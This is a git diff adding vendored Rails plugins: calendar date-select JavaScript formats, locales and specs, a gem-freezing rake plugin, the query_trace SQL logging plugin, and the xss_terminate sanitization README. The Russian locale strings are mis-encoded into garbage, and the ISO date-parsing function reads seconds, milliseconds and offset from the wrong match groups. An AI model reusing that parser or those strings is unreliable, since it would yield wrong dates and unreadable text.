args.pop : {} + options.assert_valid_keys(:style, :locale) + options[:style] ||= args.shift + + javascript_include_tag(*calendar_date_select_javascripts(:locale => options[:locale])) + "\n" + + stylesheet_link_tag(*calendar_date_select_stylesheets(:style => options[:style])) + "\n" + end +end diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_euro_24hr_ymd.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_euro_24hr_ymd.js new file mode 100644 index 00000000..7105c735 --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_euro_24hr_ymd.js @@ -0,0 +1,7 @@ +// Formats date and time as "2000.01.20 17:00" +Date.prototype.toFormattedString = function(include_time) +{ + str = this.getFullYear() + "." + Date.padded2(this.getMonth()+1) + "." + Date.padded2(this.getDate()); + if (include_time) { str += " " + this.getHours() + ":" + this.getPaddedMinutes() } + return str; +} \ No newline at end of file diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_iso_date.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_iso_date.js new file mode 100644 index 00000000..ea7aa735 --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/format_iso_date.js @@ -0,0 +1,46 @@ +Date.prototype.toFormattedString = function(include_time) { + var hour; + var str = this.getFullYear() + "-" + Date.padded2(this.getMonth() + 1) + "-" +Date.padded2(this.getDate()); + if (include_time) { + hour = this.getHours(); + str += " " + this.getHours() + ":" + this.getPaddedMinutes(); + } + return str; +}; + +Date.parseFormattedString = function (string) { + + var regexp = "([0-9]{4})(-([0-9]{2})(-([0-9]{2})" + + "( ([0-9]{1,2}):([0-9]{2})?" + + "?)?)?)?"; + + var d = string.match(new RegExp(regexp, "i")); + if (d === null) { + return Date.parse(string); // at least give javascript a crack at it. + } + var offset = 0; + var date = new Date(d[1], 0, 1); + if (d[3]) { + date.setMonth(d[3] - 1); + } + if (d[5]) { + date.setDate(d[5]); + } + if (d[7]) { + date.setHours(d[7]); + } + if (d[8]) { + date.setMinutes(d[8]); + } + if (d[0]) { + date.setSeconds(d[0]); + } + if (d[2]) { + date.setMilliseconds(Number("0." + d[2])); + } + if (d[4]) { + offset = (Number(d[6])) + Number(d[8]); + offset = ((d[5] == '-') ? 1 : -1); + } + return date; +}; diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/de.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/de.js new file mode 100644 index 00000000..ff9d439b --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/de.js @@ -0,0 +1,11 @@ +Date.weekdays = $w('Mo Di Mi Do Fr Sa So'); +Date.months = $w('Januar Februar März April Mai Juni Juli August September Oktober November Dezember'); + +Date.first_day_of_week = 1; + +_translations = { + "OK": "OK", + "Now": "Jetzt", + "Today": "Heute", + "Clear": "Löschen" +} diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/fr.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/fr.js new file mode 100644 index 00000000..604060c8 --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/fr.js @@ -0,0 +1,10 @@ +Date.weekdays = $w('L Ma Me J V S D'); +Date.months = $w('Janvier Février Mars Avril Mai Juin Juillet Août Septembre Octobre Novembre Décembre'); + +Date.first_day_of_week = 1; + +_translations = { + "OK": "OK", + "Now": "Maintenant", + "Today": "Aujourd'hui" +} diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/pt.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/pt.js new file mode 100644 index 00000000..30293b50 --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/pt.js @@ -0,0 +1,11 @@ +Date.weekdays = $w('D S T Q Q S S'); +Date.months = $w('Janeiro Fevereiro Março Abril Maio Junho Julho Agosto Setembro Outubro Novembro Dezembro'); + +Date.first_day_of_week = 0 + +_translations = { + "OK": "OK", + "Now": "Agora", + "Today": "Hoje", + "Clear": "Limpar" +} diff --git a/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/ru.js b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/ru.js new file mode 100644 index 00000000..8dc5c207 --- /dev/null +++ b/vendor/plugins/calendar_date_select/public/javascripts/calendar_date_select/locale/ru.js @@ -0,0 +1,10 @@ +Date.weekdays = $w('Пн Ð’Ñ‚ Ср Чт Пт Сб Ð’Ñ'); +Date.months = $w('Январь Февраль Март Ðпрель Май Июнь Июль ÐвгуÑÑ‚ СентÑбрь ОктÑбрь ÐоÑбрь Декабрь'); + +Date.first_day_of_week = 1 + +_translations = { + "OK": "OK", + "Now": "СейчаÑ", + "Today": "СегоднÑ" +} \ No newline at end of file diff --git a/vendor/plugins/calendar_date_select/spec/calendar_date_select/calendar_date_select_spec.rb b/vendor/plugins/calendar_date_select/spec/calendar_date_select/calendar_date_select_spec.rb new file mode 100644 index 00000000..a8502111 --- /dev/null +++ b/vendor/plugins/calendar_date_select/spec/calendar_date_select/calendar_date_select_spec.rb @@ -0,0 +1,14 @@ +require File.dirname(__FILE__) + '/../spec_helper' + +describe CalendarDateSelect do + it "should detect presence of time in a string" do + CalendarDateSelect.has_time?("January 7, 2007").should == false + CalendarDateSelect.has_time?("January 7, 2007 5:50pm").should == true + CalendarDateSelect.has_time?("January 7, 2007 5:50 pm").should == true + CalendarDateSelect.has_time?("January 7, 2007 16:30 pm").should == true + + CalendarDateSelect.has_time?(Date.parse("January 7, 2007 3:00 pm")).should == false + CalendarDateSelect.has_time?(Time.parse("January 7, 2007 3:00 pm")).should == true + CalendarDateSelect.has_time?(DateTime.parse("January 7, 2007 3:00 pm")).should == true + end +end diff --git a/vendor/plugins/calendar_date_select/spec/calendar_date_select/form_helpers_spec.rb b/vendor/plugins/calendar_date_select/spec/calendar_date_select/form_helpers_spec.rb new file mode 100644 index 00000000..72f7c33b --- /dev/null +++ b/vendor/plugins/calendar_date_select/spec/calendar_date_select/form_helpers_spec.rb @@ -0,0 +1,166 @@ +require File.dirname(__FILE__) + '/../spec_helper' + +describe CalendarDateSelect::FormHelpers do + include ActionView::Helpers::FormHelper + include ActionView::Helpers::JavaScriptHelper + include ActionView::Helpers::AssetTagHelper + include ActionView::Helpers::TagHelper + include ActionView::Helpers::FormTagHelper + + include CalendarDateSelect::FormHelpers + + before(:each) do + @controller = ActionController::Base.new + @request = OpenStruct.new + @controller.request = @request + + @model = OpenStruct.new + end + + describe "mixed mode" do + it "should not output a time when the value is a Date" do + @model.start_datetime = Date.parse("January 2, 2007") + output = calendar_date_select(:model, :start_datetime, :time => "mixed") + output.should_not match(/12:00 AM/) + end + + it "should output a time when the value is a Time" do + @model.start_datetime = Time.parse("January 2, 2007 12:00 AM") + output = calendar_date_select(:model, :start_datetime, :time => "mixed") + output.should match(/12:00 AM/) + end + end + + it "should render a time when time is passed as 'true'" do + @model.start_datetime = Date.parse("January 2, 2007") + output = calendar_date_select(:model, :start_datetime, :time => "true") + output.should match(/12:00 AM/) + end + + it "should time_false__model_returns_time__should_render_without_time" do + @model.start_datetime = Time.parse("January 2, 2007 12:00 AM") + output = calendar_date_select(:model, :start_datetime) + output.should_not match(/12:00 AM/) + end + + it "should _nil_model__shouldnt_populate_value" do + @model = nil + output = calendar_date_select(:model, :start_datetime) + + output.should_not match(/value/) + end + + it "should _vdc__should_auto_format_function" do + @model.start_datetime = Time.parse("January 2, 2007 12:00 AM") + output = calendar_date_select(:model, + :start_datetime, + :valid_date_check => "date < new Date()" + ) + output.should include("valid_date_check:function(date) { return(date < new Date()) }") + + output = calendar_date_select(:model, + :start_datetime, + :valid_date_check => "return(date < new Date())" + ) + output.should include("valid_date_check:function(date) { return(date < new Date()) }") + output = calendar_date_select(:model, + :start_datetime, + :valid_date_check => "function(p) { return(date < new Date()) }" + ) + output.should include("valid_date_check:function(p) { return(date < new Date()) }") + end + + it "should raise an error if the valid_date_check function is missing a return statement" do + message = ":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'" + lambda { + output = calendar_date_select(:model, + :start_datetime, + :valid_date_check => "date = 5; date < new Date());" + ) + }.should raise_error(ArgumentError, message) + + lambda { + output = calendar_date_select(:model, + :start_datetime, + :valid_date_check => "function(p) { date = 5; date < new Date()); }" + ) + }.should raise_error(ArgumentError, message) + end + + it "should render the year_range argument correctly" do + output = calendar_date_select(:model, :start_datetime) + output.should include("year_range:10") + output = calendar_date_select(:model, :start_datetime, :year_range => 2000..2010) + output.should include("year_range:[2000, 2010]") + output = calendar_date_select(:model, :start_datetime, :year_range => (15.years.ago..5.years.ago)) + output.should include("year_range:[#{15.years.ago.year}, #{5.years.ago.year}]") + end + + it "should disregard the :object parameter when nil" do + @model.start_datetime = Time.parse("January 2, 2007 12:00 AM") + output = calendar_date_select(:model, :start_datetime, :time => true, :object => nil) + output.should include(CalendarDateSelect.format_date(@model.start_datetime)) + end + + it "should regard :object parameter" do + @model.start_datetime = Time.parse("January 2, 2007 12:00 AM") + output = calendar_date_select(:lame_o, :start_datetime, :time => true, :object => @model) + output.should include(CalendarDateSelect.format_date(@model.start_datetime)) + end + + it "should respect parameters provided in default_options" do + new_options = CalendarDateSelect.default_options.merge(:popup => "force") + CalendarDateSelect.stub!(:default_options).and_return(new_options) + calendar_date_select_tag(:name, "").should include("popup:'force'") + end + + it "should respect the :image option" do + output = calendar_date_select_tag(:name, "Some String", :image => "boogy.png") + output.should include("boogy.png") + end + + it "should not pass the :image option as a javascript option" do + output = calendar_date_select_tag(:name, "Some String", :image => "boogy.png") + output.should_not include("image:") + end + + it "should use the CSS class calendar_date_select_tag for popup selector icon" do + output = calendar_date_select_tag(:name, "Some String", :image => "boogy.png") + output.should include("calendar_date_select_popup_icon") + end + + describe "calendar_date_select_tag" do + before(:each) do + @time = Time.parse("January 2, 2007 12:01:23 AM") + end + + it "should use the string verbatim when provided" do + output = calendar_date_select_tag(:name, "Some String") + + output.should include("Some String") + end + + it "should not render the time when time is false (or nil)" do + output = calendar_date_select_tag(:name, @time, :time => false) + + output.should_not match(/12:01 AM/) + output.should include(CalendarDateSelect.format_date(@time.to_date)) + end + + it "should render the time when :time => true" do + output = calendar_date_select_tag(:name, @time, :time => true) + + output.should include(CalendarDateSelect.format_date(@time)) + end + + it "should render the time when :time => 'mixed'" do + output = calendar_date_select_tag(:name, @time, :time => 'mixed') + output.should include(CalendarDateSelect.format_date(@time)) + end + + it "not include the image option in the result input tag" do + output = calendar_date_select_tag(:name, @time, :time => 'mixed') + output.should_not include("image=") + end + end +end diff --git a/vendor/plugins/calendar_date_select/spec/calendar_date_select/includes_helper_spec.rb b/vendor/plugins/calendar_date_select/spec/calendar_date_select/includes_helper_spec.rb new file mode 100644 index 00000000..390c5b71 --- /dev/null +++ b/vendor/plugins/calendar_date_select/spec/calendar_date_select/includes_helper_spec.rb @@ -0,0 +1,46 @@ +require File.dirname(__FILE__) + '/../spec_helper' + +describe CalendarDateSelect::IncludesHelper do + include ActionView::Helpers::TagHelper + include ActionView::Helpers::AssetTagHelper + include CalendarDateSelect::IncludesHelper + + describe "calendar_date_select_includes" do + it "should include the specified locale" do + calendar_date_select_includes(:locale => "fr").should include("calendar_date_select/locale/fr.js") + end + + it "should include the specified style" do + calendar_date_select_includes(:style => "blue").should include("calendar_date_select/blue.css") + end + + it "should complain if you provide an illegitimate argument" do + lambda { calendar_date_select_includes(:language => "fr") }.should raise_error(ArgumentError) + end + end + + describe "calendar_date_select_javascripts" do + it "should return an array of javascripts" do + calendar_date_select_javascripts.should == ["calendar_date_select/calendar_date_select"] + end + + it "should return the :javascript_include of the specified format, if the specified format expects it" do + CalendarDateSelect.stub!(:format).and_return(CalendarDateSelect::FORMATS[:hyphen_ampm]) + calendar_date_select_javascripts.should == ["calendar_date_select/calendar_date_select", "calendar_date_select/format_hyphen_ampm"] + end + + it "should blow up if an illegitimate argument is passed" do + lambda { calendar_date_select_javascripts(:language => "fr") }.should raise_error(ArgumentError) + end + end + + describe "calendar_date_select_stylesheets" do + it "should return an array of stylesheet" do + calendar_date_select_javascripts.should == ["calendar_date_select/calendar_date_select"] + end + + it "should blow up if an illegitimate argument is passed" do + lambda { calendar_date_select_stylesheets(:css_version => "blue") }.should raise_error(ArgumentError) + end + end +end diff --git a/vendor/plugins/calendar_date_select/spec/spec_helper.rb b/vendor/plugins/calendar_date_select/spec/spec_helper.rb new file mode 100644 index 00000000..129afa30 --- /dev/null +++ b/vendor/plugins/calendar_date_select/spec/spec_helper.rb @@ -0,0 +1,26 @@ +require "rubygems" + +require 'spec' + +gem 'activesupport', ">= 2.2.0" +gem 'actionpack', ">= 2.2.0" + +require 'active_support' +require 'action_pack' +require 'action_controller' +require 'action_view' + +require 'ostruct' + +ActionView::Helpers::InstanceTag.class_eval do + class << self; alias new_with_backwards_compatibility new; end +end + +$: << (File.dirname(__FILE__) + "/../lib") +require "calendar_date_select" + +class String + def to_regexp + is_a?(Regexp) ? self : Regexp.new(Regexp.escape(self.to_s)) + end +end \ No newline at end of file diff --git a/vendor/plugins/gems/MIT-LICENSE b/vendor/plugins/gems/MIT-LICENSE new file mode 100644 index 00000000..64719c95 --- /dev/null +++ b/vendor/plugins/gems/MIT-LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2007 Ian White - ian.w.white@ardes.com + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/vendor/plugins/gems/README b/vendor/plugins/gems/README new file mode 100644 index 00000000..2735f66c --- /dev/null +++ b/vendor/plugins/gems/README @@ -0,0 +1,69 @@ +http://plugins.ardes.com > gems + += NOTE: Rails edge has the gems tasks now - use them instead! + += gems + +Adapted from technoweenies freeze gems plugin. This version adds two features: + +1. gems are unpacked into vendor/gems to make clear what they are + +2. it's possible to have multiple versions of gems with architecture dependent features + +== Usage + +==== freeze + + rake gems:freeze GEM=gemname [VERSION=version] [ARCH=detect|archname] [TO=dirname] + +Running the above task will unpack the named gem into RAILS_ROOT/vendor/gems/ARCH/ + +If ARCH is unspecified, and the gem has no extensions, the gem will be unpacked into gems/ruby +If ARCH is unspecified, and the gem has extensions, ARCH will be detected and the gem will +be unpacked into gems/ARCH. + +==== unfreeze + + rake gems:unfreeze GEM=gemname + +will remove the named gem from all ARCHS + +==== loading + +The init.rb file loads gems from gems/ARCH and then gems/ruby, automatically. +This means that you can have two different versions of a gem, for different architectures, +and the correct one will be loaded. + +== Example + +_hpricot_ builds native extensions, while _syntax_ does not. Here's how this gems:freeze plugin handles that. + +On my dev platform (a mac): + + rake gems:freeze GEM=hpricot + rake gems:freeze GEM=syntax + +results in the following lqyout: + + vendor/ + gems/ + i686-apple-darwin8.9.1/ + hpricot-0.5/ + ruby/ + syntax-1.0.0/ + +I can add these to svn, or whatever. On my deployment platform (Fedora box), the hpricot gem will not be +loaded, because the arch is for the mac. So i need to add the linux version of hpricot: + +So I log into the fedora box, and do: + + rake gems:freeze GEM=hpricot + +which results in adding: + + vendor/ + gems/ + i386-redhat-linux-gnu/ + hpricot-0.5/ + +I can add this to my scm, and the correct version will be loaded on each machine. diff --git a/vendor/plugins/gems/Rakefile b/vendor/plugins/gems/Rakefile new file mode 100644 index 00000000..68cb9fe2 --- /dev/null +++ b/vendor/plugins/gems/Rakefile @@ -0,0 +1,21 @@ +require 'rake/rdoctask' + +plugin_name = File.basename(File.dirname(__FILE__)) + +task :default => :doc +task :rdoc => :doc + +desc "Generate rdoc for #{plugin_name}" +Rake::RDocTask.new(:doc) do |t| + t.rdoc_dir = 'doc' + t.main = 'README' + t.title = "#{plugin_name}" + t.template = ENV['RDOC_TEMPLATE'] + t.options = ['--line-numbers', '--inline-source'] + t.rdoc_files.include('README', 'MIT-LICENSE') + t.rdoc_files.include('lib/**/*.rb') +end + +namespace :doc do + task :all => :doc +end \ No newline at end of file diff --git a/vendor/plugins/gems/init.rb b/vendor/plugins/gems/init.rb new file mode 100644 index 00000000..09cc1ae9 --- /dev/null +++ b/vendor/plugins/gems/init.rb @@ -0,0 +1,13 @@ +# load gems from vendor/gems/-this-arch- and vendor/gems/ruby +gems = (Dir["#{RAILS_ROOT}/vendor/gems/#{Config::CONFIG['host']}/**"] + Dir["#{RAILS_ROOT}/vendor/gems/ruby/**"]).map do |dir| + File.directory?(lib = "#{dir}/lib") ? lib : dir +end + +if gems.any? + gems.each do |dir| + dir = File.expand_path(dir) + $LOAD_PATH.unshift(dir) + Dependencies.load_paths << dir + Dependencies.load_once_paths << dir + end +end \ No newline at end of file diff --git a/vendor/plugins/gems/tasks/gems_tasks.rake b/vendor/plugins/gems/tasks/gems_tasks.rake new file mode 100644 index 00000000..3bc75d10 --- /dev/null +++ b/vendor/plugins/gems/tasks/gems_tasks.rake @@ -0,0 +1,38 @@ +namespace :gems do + task :freeze do + raise "No gem specified, specify one with GEM=gem_name" unless gem_name = ENV['GEM'] + + require 'rubygems' + require 'rubygems/command_manager' + + Gem.manage_gems + gem = (version = ENV['VERSION']) ? + Gem.cache.search(gem_name, "= #{version}").first : + Gem.cache.search(gem_name).sort_by { |g| g.version }.last + + version ||= gem.version.version rescue nil + + unless gem && path = Gem::CommandManager.instance['unpack'].get_path(gem_name, version) + raise "No gem #{gem_name} #{version} is installed. Do 'gem list #{gem_name}' to see what you have available." + end + + if ENV['ARCH'] + arch = ENV['ARCH'] == 'detect' ? Config::CONFIG['host'] : ENV['ARCH'] + else + arch = gem.extensions.size > 0 ? Config::CONFIG['host'] : 'ruby' + end + + target_dir = ENV['TO'] || File.basename(path).sub(/\.gem$/, '') + rm_rf "vendor/gems/#{arch}/#{target_dir}" + + target_dir = File.expand_path(target_dir, File.join(RAILS_ROOT, 'vendor', 'gems', arch)) + mkdir_p target_dir + Gem::Installer.new(path).unpack(target_dir) + puts "Unpacked #{gem_name} #{version} (#{arch}) to '#{target_dir}'" + end + + task :unfreeze do + raise "No gem specified, specify one with GEM=gem_name" unless gem_name = ENV['GEM'] + Dir["vendor/gems/*/#{gem_name}-*"].each { |d| rm_rf d } + end +end diff --git a/vendor/plugins/query_trace/MIT-LICENSE b/vendor/plugins/query_trace/MIT-LICENSE new file mode 100644 index 00000000..74f49b5d --- /dev/null +++ b/vendor/plugins/query_trace/MIT-LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2006 Nathaniel Talbott. All Rights Reserved. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/query_trace/README b/vendor/plugins/query_trace/README new file mode 100644 index 00000000..dd231408 --- /dev/null +++ b/vendor/plugins/query_trace/README @@ -0,0 +1,80 @@ += QueryTrace plugin for Rails + +It's nice that ActiveRecord logs the queries that are performed when your actions are executed, +since it makes it easy to see when you have serious inefficiencies in your application. The next +question, though, is always, "OK, so where are those being run from?" Before QueryTrace, that +question could be a real pain to answer, since you'd have to go trawling through your code looking +for the culprit. Once you have QueryTrace installed, though, your logs won't just tell you that you +have a problem, they will pinpoint the location of that problem for you. + +== Usage + +All you have to do is have the plugin installed - QueryTrace takes care of the rest, including: + +* Only displaying when at the DEBUG log level +* Honoring your log colorization settings + +== Example + +Before: + + Schedule Load (0.023687) SELECT * FROM schedules WHERE (schedules.id = 3) LIMIT 1 + Resource Load (0.001076) SELECT * FROM resources WHERE (resources.id = 328) LIMIT 1 + Schedule Load (0.011488) SELECT * FROM schedules WHERE (schedules.id = 3) LIMIT 1 + Resource Load (0.022471) SELECT * FROM resources WHERE (resources.id = 328) LIMIT 1 + + +After: + + Schedule Load (0.023687) SELECT * FROM schedules WHERE (schedules.id = 3) LIMIT 1 + app/models/available_work.rb:50:in `study_method' + app/helpers/plan_helper.rb:4:in `work_description' + app/views/plan/_resource_schedule.rhtml:27:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_resource_schedule.rhtml:24:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_schedule_listing.rhtml:5:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:3:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:1:in `_run_rhtml_plan__schedule_listing' + app/views/plan/index.rhtml:6:in `_run_rhtml_plan_index' + vendor/plugins/textmate_footnotes/lib/textmate_footnotes.rb:60:in `render' + Resource Load (0.001076) SELECT * FROM resources WHERE (resources.id = 328) LIMIT 1 + app/models/available_work.rb:54:in `div_type' + app/helpers/plan_helper.rb:6:in `work_description' + app/views/plan/_resource_schedule.rhtml:27:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_resource_schedule.rhtml:24:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_schedule_listing.rhtml:5:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:3:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:1:in `_run_rhtml_plan__schedule_listing' + app/views/plan/index.rhtml:6:in `_run_rhtml_plan_index' + vendor/plugins/textmate_footnotes/lib/textmate_footnotes.rb:60:in `render' + Schedule Load (0.011488) SELECT * FROM schedules WHERE (schedules.id = 3) LIMIT 1 + app/models/available_work.rb:50:in `study_method' + app/helpers/plan_helper.rb:4:in `work_description' + app/views/plan/_resource_schedule.rhtml:27:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_resource_schedule.rhtml:24:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_schedule_listing.rhtml:5:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:3:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:1:in `_run_rhtml_plan__schedule_listing' + app/views/plan/index.rhtml:6:in `_run_rhtml_plan_index' + vendor/plugins/textmate_footnotes/lib/textmate_footnotes.rb:60:in `render' + Resource Load (0.022471) SELECT * FROM resources WHERE (resources.id = 328) LIMIT 1 + app/models/available_work.rb:54:in `div_type' + app/helpers/plan_helper.rb:6:in `work_description' + app/views/plan/_resource_schedule.rhtml:27:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_resource_schedule.rhtml:24:in `_run_rhtml_plan__resource_schedule' + app/views/plan/_schedule_listing.rhtml:5:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:3:in `_run_rhtml_plan__schedule_listing' + app/views/plan/_schedule_listing.rhtml:1:in `_run_rhtml_plan__schedule_listing' + app/views/plan/index.rhtml:6:in `_run_rhtml_plan_index' + vendor/plugins/textmate_footnotes/lib/textmate_footnotes.rb:60:in `render' + + +== Additional Info + +Author: Nathaniel Talbott (for Terralien) +Contact: nathaniel@talbott.ws +License: MIT +Home: http://github.com/ntalbott/query_trace/ +Subversion mirror: https://terralien.devguard.com/svn/projects/plugins/query_trace + + +Copyright (c) 2006 Nathaniel Talbott. All Rights Reserved. diff --git a/vendor/plugins/query_trace/init.rb b/vendor/plugins/query_trace/init.rb new file mode 100644 index 00000000..a048295a --- /dev/null +++ b/vendor/plugins/query_trace/init.rb @@ -0,0 +1,5 @@ +require 'query_trace' + +class ::ActiveRecord::ConnectionAdapters::AbstractAdapter + include QueryTrace +end diff --git a/vendor/plugins/query_trace/lib/query_trace.rb b/vendor/plugins/query_trace/lib/query_trace.rb new file mode 100644 index 00000000..c79063f0 --- /dev/null +++ b/vendor/plugins/query_trace/lib/query_trace.rb @@ -0,0 +1,46 @@ +module QueryTrace + def self.append_features(klass) + super + klass.class_eval do + unless method_defined?(:log_info_without_trace) + alias_method :log_info_without_trace, :log_info + alias_method :log_info, :log_info_with_trace + end + end + klass.class_eval %( + def row_even + @@row_even + end + ) + end + + def log_info_with_trace(sql, name, runtime) + log_info_without_trace(sql, name, runtime) + + return unless @logger and @logger.debug? + return if / Columns$/ =~ name + + trace = clean_trace(caller[2..-1]) + @logger.debug(format_trace(trace)) + end + + def format_trace(trace) + if ActiveRecord::Base.colorize_logging + if row_even + message_color = "35;2" + else + message_color = "36;2" + end + trace.collect{|t| " \e[#{message_color}m#{t}\e[0m"}.join("\n") + else + trace.join("\n ") + end + end + + VENDOR_RAILS_REGEXP = %r(([\\/:])vendor\1rails\1) + def clean_trace(trace) + return trace unless defined?(RAILS_ROOT) + + trace.select{|t| /#{Regexp.escape(File.expand_path(RAILS_ROOT))}/ =~ t}.reject{|t| VENDOR_RAILS_REGEXP =~ t}.collect{|t| t.gsub(RAILS_ROOT + '/', '')} + end +end diff --git a/vendor/plugins/xss_terminate/README.rdoc b/vendor/plugins/xss_terminate/README.rdoc new file mode 100644 index 00000000..cf35e4b4 --- /dev/null +++ b/vendor/plugins/xss_terminate/README.rdoc @@ -0,0 +1,96 @@ += xss_terminate + ++xss_terminate+ is a plugin in that makes stripping and sanitizing HTML +stupid-simple. Install and forget. And forget about forgetting to h() +your output, because you won't need to anymore. + +But +xss_terminate+ is also flexible. By default, it will strip all HTML tags +from user input. This is usually what you want, but sometimes you need users to be +able to enter HTML. The plugin allows you remove bad HTML with your choice +of two whitelist-based sanitizers, or to skip HTML sanitization entirely on +a per-field basis. + +To install, do: + + script/plugin install git://github.com/look/xss_terminate.git + +== HTML sanitization + +A note on your choices. + +* Strip tags: removes all HTML using Rails's built-in +strip_tags+ method. Tags are removed, but their content is not. +* Rails sanitization: Removes bad HTML with Rails's built-in sanitize method. Bad tags are removed completely, including their content. +* HTML5lib sanitization: Removes bad HTML after parsing it with {HTML5lib}[http://code.google.com/p/html5lib/], a library that parses HTML like browsers do. It should be very tolerant of invalid HTML. Bad tags are escaped, not removed. +* Do nothing. You can chose not to process given fields. + +== Usage + +Installing the plugin creates a +before_save+ hook that will strip HTML tags +from all string and text fields. No further configuration is necessary if this +is what you want. To customize the behavior, you use the +xss_terminate+ class +method. + +To exempt some fields from sanitization, use the :except option +with a list of fields not to process: + + class Comment < ActiveRecord::Base + xss_terminate :except => [ :body ] + end + +To sanitize HTML with Rails's built-in sanitization, use the :sanitize option: + + class Review < ActiveRecord::Base + xss_terminate :sanitize => [ :body, :author_name] + end + +To sanitize HTML with {HTML5Lib}[http://code.google.com/p/html5lib/] +(gem install html5 to get it), use the :html5lib_sanitize +option with a list of fields to sanitize: + + class Entry < ActiveRecord::Base + xss_terminate :html5lib_sanitize => [ :body, :author_name ] + end + +You can combine multiple options if you have some fields you would like skipped +and others sanitized. Fields not listed in the option arrays will be stripped. + + class Message < ActiveRecord::Base + xss_terminate :except => [ :body ], :sanitize => [ :title ] + end + +== Sanitizing existing records + +After installing +xss_terminate+ and configuring it to your liking, you can +run rake xss_terminate MODELS=Foo,Bar,Baz to execute it against your +existing records. This will load each model found and save it again to invoke +the before_save hook. + +== Unique features + ++xss_terminate+ is based on +acts_as_sanitized+. Here is what's different: + +* Supports Rails 2.0-2.2 (may work on edge Rails, but I haven't tested it) +* Automatic. It is included with default options in ActiveReord::Base so all your models are sanitized. +* It works with migrations. Columns are fetched when model is saved, not when the class is loaded. +* You can decide whether to sanitize or strip tags on a field-by-field basis instead of model-by-model. +* HTML5lib support. + +== TODO + +* Performance tests +* Test suites with "real world" HTML +* Test/make work with Rails 1.2.x (Rails 1.2 sanitization is crap, so you'd want to use HTML5lib) + +== Credits + +Written by {Luke Francl}[http://railspikes.com] and based on acts_as_sanitized by +{Alex Payne}[http://www.al3x.net]. + +HTML5Lib sanitization by {Jacques Distler}[http://golem.ph.utexas.edu/~distler]. + +Bug fixes and reports from a cast of thousands. + +== License + +MIT License, except for lib/html5lib_sanitize.rb which is under the +Ruby license and copyright to Jacques Distler. diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb new file mode 100644 index 00000000..54950788 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb @@ -0,0 +1 @@ +Inside \ No newline at 